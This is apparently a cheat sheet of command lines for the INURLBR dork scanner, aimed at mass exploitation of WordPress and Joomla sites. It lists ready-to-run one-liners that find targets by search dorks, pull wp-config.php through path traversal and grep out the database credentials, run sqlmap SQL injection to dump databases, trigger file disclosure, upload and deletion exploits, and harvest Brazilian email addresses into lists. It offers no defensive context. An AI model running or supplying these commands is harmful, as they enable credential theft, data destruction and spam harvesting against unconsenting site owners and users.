EXAMPLES CONTROLS INURLBR

[!] CONTROL SERIES
# AUTOR:                Cleiton Pinheiro / NICK: GoogleINURL
# Blog:                 http://blog.inurl.com.br
# Twitter:              https://twitter.com/googleinurl
# Fanpage:              https://fb.com/InurlBrasil
# GIT:                  https://github.com/googleinurl
# YOUTUBE               https://www.youtube.com/channel/UCFP-WEzs5Ikdqw0HBLImGGA
# PACKETSTORMSECURITY:: http://packetstormsecurity.com/user/googleinurl/

[!]::COMMANDS USED IN THE SCANNER INURLBR | https://github.com/googleinurl/SCANNER-INURLBR
----------------------------------------------------------------------------------------------------

[+] Arbitrary File Download
./inurlbr.php --dork '"canetas" "/revslider/"' -q 1,6 -s wordpress2.txt --exploit-get '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' -t 3 --exploit-comand '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' --comand-vul 'echo "_TARGET__EXPLOIT_">> curlwordpress.txt;curl "_TARGET__EXPLOIT_"|grep "DB_" >> curlwordpress.txt;curl "_TARGET__EXPLOIT_"|grep "DB_"' }


./inurlbr.php --dork '"inurl:/themes/urban/" "www"' -q 1,6 -s wordpress2.txt --exploit-get '/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php' -t 3 --exploit-comand '/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php' --comand-all 'echo "_TARGET__EXPLOIT_">> curlwordpress.txt;curl "_TARGET__EXPLOIT_"|grep "DB_" >> curlwordpress.txt;curl "_TARGET__EXPLOIT_"|grep "DB_"' }

EXPLOIT:
http://pastebin.com/ZEnbxXXd
OR
http://packetstormsecurity.com/files/129607/WordPress-A.F.D.-Theme-Echelon-Arbitrary-File-Download.html
----------------------------------------------------------------------------------------------------

[+] FILTER AND MAIL
./inurlbr.php --dork 'site:.br @ gmail|hotmail|terra|uol ext:txt' -q all -s MEGA.txt -m

cat Lista.txt | egrep '@bol.com.br|@terra.com.br' |cut -d \; -f 1 | sort -u >> bolterra.txt

cat Lista.txt | egrep '@zipmail.com.br' |cut -d \; -f 1 | sort -u >> ZIPMAIL.txt

./inurlbr.php --dork='site:.br intext:gmail || intext:hotmail ext:txt -hdutl -upnet -static' --arquivo='TOPGMAIL.txt'
----------------------------------------------------------------------------------------------------

[+] EXPLOIT COMPONENT JOOMLA
./inurlbr.php --dork '"com_spidercalendar" +"noticias"' -s spider.txt -q 1,6 -t 3 --exploit-get "/index.php?option=com_spidercalendar&calendar_id=1'027" --comand-vul "python spyder.py -H http://_TARGET_/"

EXPLOIT:
http://www.exploit-db.com/exploits/20983/
----------------------------------------------------------------------------------------------------

[+] EGYWEB (Mantrac) <= Remote File Disclosure Exploit
./inurlbr.php --dork '"Created by EGYWEB"' -s rcdz.txt -q 1,6 -t 3 --exploit-get "/360download.php?file_name=classes/db_connector.php" --comand-vul "python rcd.py http://_TARGET_/"

EXPLOIT:
http://1337day.com/exploit/22643
----------------------------------------------------------------------------------------------------

[+] Joomla Spider Form Maker <= 3.4 - SQLInjection
./inurlbr.php --dork '"com_formmaker" +"contato"' -q 1,6 -s com_formmaker.txt -t 3 --exploit-get '/index.php?option=com_formmaker&view=formmaker&id=-1+AND+(SELECT+User+from+mysql.user+limit+0,1)' -a 'mysql.user' --comand-vul "python sqlmap.py -u '_TARGET_/index.php?option=com_formmaker&view=formmaker&id=1' -p id --batch --random-agent --dbs"

EXPLOIT:
http://www.exploit-db.com/exploits/34637/
----------------------------------------------------------------------------------------------------

[+] Wordpress Theme Strange File Upload / File Deletion
./inurlbr.php --dork '"movie" "/wp-content/themes/ut-strange/"' -s del.txt -q 1,6 -t 3 --exploit-get "/wp-content/themes/ut-strange/addpress/includes/ap_fileupload.php" --comand-all "php delete.php http://_TARGET_/ wp.php"

EXPLOIT:
http://de.1337day.com/exploit/22674
----------------------------------------------------------------------------------------------------